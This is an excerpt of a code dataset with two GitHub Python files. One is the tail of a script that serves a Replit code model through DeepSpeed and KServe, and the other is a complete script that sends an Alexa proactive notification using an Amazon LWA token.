m.mul(alibi_bias_max / _n_heads)\n    slopes = 1.0 / torch.pow(2, m)\n    if _n_heads != n_heads:\n        slopes = torch.concat([slopes[1::2], slopes[::2]])[:n_heads]\n    return slopes.view(1, n_heads, 1, 1)\n\ndef build_alibi_bias(n_heads, seq_len, full=False, alibi_bias_max=8, device=None, dtype=None):\n    alibi_bias = torch.arange(1 - seq_len, 1, dtype=torch.int32, device=device).view(1, 1, 1, seq_len)\n    if full:\n        alibi_bias = alibi_bias - torch.arange(1 - seq_len, 1, dtype=torch.int32, device=device).view(1, 1, seq_len, 1)\n        alibi_bias = alibi_bias.abs().mul(-1)\n    slopes = gen_slopes(n_heads, alibi_bias_max, device=device)\n    alibi_bias = alibi_bias * slopes\n    return alibi_bias.to(dtype=dtype)\n\nATTN_CLASS_REGISTRY = {'multihead_attention': MultiheadAttention, 'multiquery_attention': MultiQueryAttention}\n\ndef disable_torch_init():\n    def noop(*args, **kwargs):\n        pass\n\n    torch.nn.init.kaiming_uniform_ = noop\n    torch.nn.init.uniform_ = noop\n    torch.nn.init.normal_ = noop\n    transformers.modeling_utils._init_weights = False\n\ndef get_replit(model, trust_remote_code=True):\n    #config = AutoConfig.from_pretrained(\"replit/replit-code-v1-3b\", trust_remote_code=True)\n    #config.attn_config['attn_impl'] = 'triton'\n    model = AutoModelForCausalLM.from_pretrained(model, use_auth_token=HF_ACCESS_TOKEN, trust_remote_code=trust_remote_code)\n    model = model.to(\"cuda\", dtype=torch.float16)\n    model.eval()\n    model.seqlen = 2048\n    print(\"model dtype:\")\n    print(model.dtype)\n    #config = {\n    #    \"kernel_inject\": True,\n    #   \"tensor_parallel\": {\"tp_size\": 2},\n    #   \"dtype\": \"fp16\",\n    #   \"enable_cuda_graph\" : False\n    #    }\n    #world_size = int(os.getenv('WORLD_SIZE', '2'))\n    #model = deepspeed.init_inference(model, mp_size=world_size, dtype=torch.float, replace_with_kernel_inject=True)\n\n    return model\n\ndef generate_text(tokenizer, model, prompt, max_tokens, n, temperature, stop):\n    batch = tokenizer(prompt, return_tensors=\"pt\", add_special_tokens=True)\n    batch = {k: v.cuda() for k, v in batch.items()}\n    generated_texts = []\n    for _ in range(n):\n        generated = model.module.generate(batch[\"input_ids\"].to(\"cuda\"), do_sample=True, min_new_tokens=max_tokens, max_new_tokens=max_tokens, temperature=temperature, eos_token_id=tokenizer.encode(stop)[0] if stop else None)\n        generated_texts.append(tokenizer.decode(generated[0]))\n    return generated_texts\n\n\nclass KServeModel(kserve.Model):\n    def __init__(self, name: str):\n        super().__init__(name)\n        self.name = name\n        self.load()\n\n    def load(self):\n        self.ready = True\n\n    def predict(self, request: Dict, headers: Dict[str, str] = None) -> Dict:\n        api_key = headers.get(\"authorization\")\n        print(api_key)\n        if api_key != f\"Bearer {API_KEY}\":\n            return {\"error\": \"Invalid API key\"}\n\n        instances = request.get(\"instances\", [])\n        if not instances or not all(isinstance(instance, dict) for instance in instances):\n            return jsonify({\"error\": \"Invalid input parameters\"})\n        st = time.time()\n        generated_texts = []\n        for instance in instances:\n            prompt = instance.get(\"prompt\", \"\")\n            max_tokens = instance.get(\"max_tokens\", 1024)\n            n = instance.get(\"n\", 1)\n            temperature = instance.get(\"temperature\", 0.7)\n            stop = instance.get(\"stop\", None)\n\n            if not isinstance(prompt, str) or not isinstance(max_tokens, int) or not isinstance(n, int) or not isinstance(temperature, (int, float)) or (stop is not None and not isinstance(stop, str)):\n                return jsonify({\"error\": \"Invalid input parameters\"}), 400\n            generated_texts.extend(generate_text(tokenizer, model, prompt, max_tokens, n, temperature, stop))\n        et = time.time()\n        print(f\"inference time is : {et-st}\")\n        return {\"inference time\" : et-st ,\"predictions\": [{\"text\": text} for text in generated_texts]}\n    \n\ndef main():\n    global model, tokenizer\n    #local_rank = int(os.getenv('LOCAL_RANK', '0'))\n    #world_size = int(os.getenv('WORLD_SIZE', '2'))\n    #parser = ArgumentParser()\n    #parser.add_argument(\"model\", type=str, help=\"model to load, such as replit-code-v1-3b\")\n    model_path = r\"/mnt/pvc/replit-code-v1\"\n\n    print(\"-- Loading original model weights from PVC (this will take a few seconds)\")\n    start = time.time()\n    load = os.path.join(\"/mnt/pvc/replit-code-v1/\", \"model.bin\")\n    config = {\n        \"kernel_inject\": False,\n        \"tensor_parallel\": {\"tp_size\": 4},\n        \"dtype\": \"fp16\",\n        \"enable_cuda_graph\" : False,\n        \"injection_policy\" : {MPTBlock: ('attn.out_proj', 'ffn.down_proj')}\n        }\n    disable_torch_init()\n    num_of_gpus = torch.cuda.device_count()\n    print(num_of_gpus)\n    for i in range(torch.cuda.device_count()):\n        print(torch.cuda.get_device_properties(i).name)\n    print(\"-- Loading model weights from PVC (this will take a few seconds)\")\n    #os.chdir(r\"/app/replit-code-v1-3b\")\n    #model = get_replit(\"replit/replit-code-v1-3b\")\n    model = get_replit(model_path)\n    model = deepspeed.init_inference(model=model, config=config)\n    print(dir(model))\n    print('---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------')\n    print(dir(model.injection_dict))\n    print(\"_config\")\n    print(model._config)\n    print(\"_apply_injection_policy\")\n    print(model._apply_injection_policy)\n    print(\"named modules : \")\n    print(model.named_modules)\n    print(\"-------------------------------------------------------------------------\")\n    print(\"named_parameters\")\n    print(model.named_parameters)\n    print(\"-------------------------------------------------------------------------\")\n    print(\"model.module:\")\n    print(model.module)\n    print(\"-------------------------------------------------------------------------\")\n    print(\"model.injection_dict\")\n    print(model.injection_dict)\n    print(\"-------------------------------------------------------------------------\")\n    print(\"model.inference_mp_group\")\n    print(model.inference_mp_group)\n    print(\"-------------------------------------------------------------------------\")\n    print(\"model.mpu\")\n    print(model.mpu)\n    print(\"-------------------------------------------------------------------------\")\n    print(\"model.mp_group\")\n\n    print(model.mp_group)\n    print(\"-------------------------------------------------------------------------\")    \n    print(\"model.config\")\n    print(model.config)\n\n    #model = deepspeed.init_inference(model, mp_size=world_size, dtype=torch.float16, injection_policy={MPTBlock: ('attn.out_proj.weight', 'ffn.down_proj.weight')})\n    #model = deepspeed.init_inference(model, mp_size=world_size, replace_with_kernel_inject=False, replace_method=\"auto\")\n    print(\"-- Loading tokenize model\")\n    tokenizer = AutoTokenizer.from_pretrained(model_path, torch_dtype=torch.float16, use_auth_token=HF_ACCESS_TOKEN, trust_remote_code=True)\n    #model = deepspeed.init_inference(model=model, dtype=torch.float16, replace_with_kernel_inject=True)\n    end = time.time()\n    print(\"----------------------------------------------------\")\n    print(f\"Time for loading the model: {end-start}\")\n    kserve_model = KServeModel(\"replit-code-v1\")\n    s = time.time()\n    print(\"-- Ready to serve inference requests :)\")\n    kserve.ModelServer().start([kserve_model])\n    e = time.time()\n    print(f\"time for inference: {e-s}\")\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"khalil-idrissi/b","sub_path":"replit_inference_cp.py","file_name":"replit_inference_cp.py","file_ext":"py","file_size_in_byte":28960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"13783741054","text":"import time\nimport uuid\nimport datetime\nimport json\nimport requests\nimport credentials\n\n# Token access constants\nCLIENT_ID = credentials.key['CLIENT_ID']\nCLIENT_SECRET = credentials.key['CLIENT_SECRET']\nUTC_FORMAT = \"%Y-%m-%dT%H:%M:%S.00Z\"\nTOKEN_URI = \"https://api.amazon.com/auth/o2/token\"\nALEXA_URI = \"https://api.eu.amazonalexa.com/v1/proactiveEvents/stages/development\"\n\n\ndef get_access_token():\n\n    token_params = {\n        \"grant_type\" : \"client_credentials\",\n        \"scope\": \"alexa::proactive_events\",\n        \"client_id\": CLIENT_ID,\n        \"client_secret\": CLIENT_SECRET\n    }\n\n    token_headers = {\n        \"Content-Type\": \"application/json;charset=UTF-8\"\n    }\n\n    response = requests.post(TOKEN_URI, headers=token_headers, data=json.dumps(token_params), allow_redirects=True)\n\n    print(\"Token response status: \" + format(response.status_code))\n    print(\"Token response body  : \" + format(response.text))\n\n    if response.status_code != 200:\n        print(\"Error calling LWA!\")\n        return None\n\n    access_token = json.loads(response.text)[\"access_token\"]\n    return access_token\n\ntoken = get_access_token()\n\nheaders = {\n        \"Authorization\": \"Bearer {}\".format(token),\n        \"Content-Type\": \"application/json;charset=UTF-8\"\n    }\n\nseconds = time.time()\ntimestamp  = time.strftime(UTC_FORMAT, time.gmtime(seconds))\nreference_id = str(uuid.uuid4())\nseconds +=3600\t# 1 hour for demo\nexpiry_time =  time.strftime(UTC_FORMAT, time.gmtime(seconds))\n\nparams = {\n    \"timestamp\": timestamp,\n    \"referenceId\": reference_id,\n    \"expiryTime\": expiry_time,\n\n    \"event\": {\n        \"name\": \"AMAZON.MessageAlert.Activated\",\n        \"payload\": {\n            \"state\": {\n                \"status\": \"UNREAD\",\n                \"freshness\": \"NEW\"\n            },\n            \"messageGroup\": {\n                \"creator\": {\n                    \"name\": \"Johns python program\"\n                },\n                \"count\": 1\n            }\n        }\n    },\n    \"localizedAttributes\": [\n      {\n        \"locale\": \"en-GB\",\n        \"providerName\": \"Alexa Events Example\",\n        \"contentName\": \"Some content\"\n      }\n    ],\n    \"relevantAudience\": {\n        \"type\": \"Multicast\",\n        \"payload\": { }\n    }\n}\n\nresponse = requests.post(ALEXA_URI, headers=headers, data=json.dumps(params), allow_redirects=True)\nprint(\"done\" , response)\n","repo_name":"jallwork/Alexa-notifications-in-python","sub_path":"notificationJson.py","file_name":"notificationJson.py","file_ext":"py","file_size_in_byte":2332,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}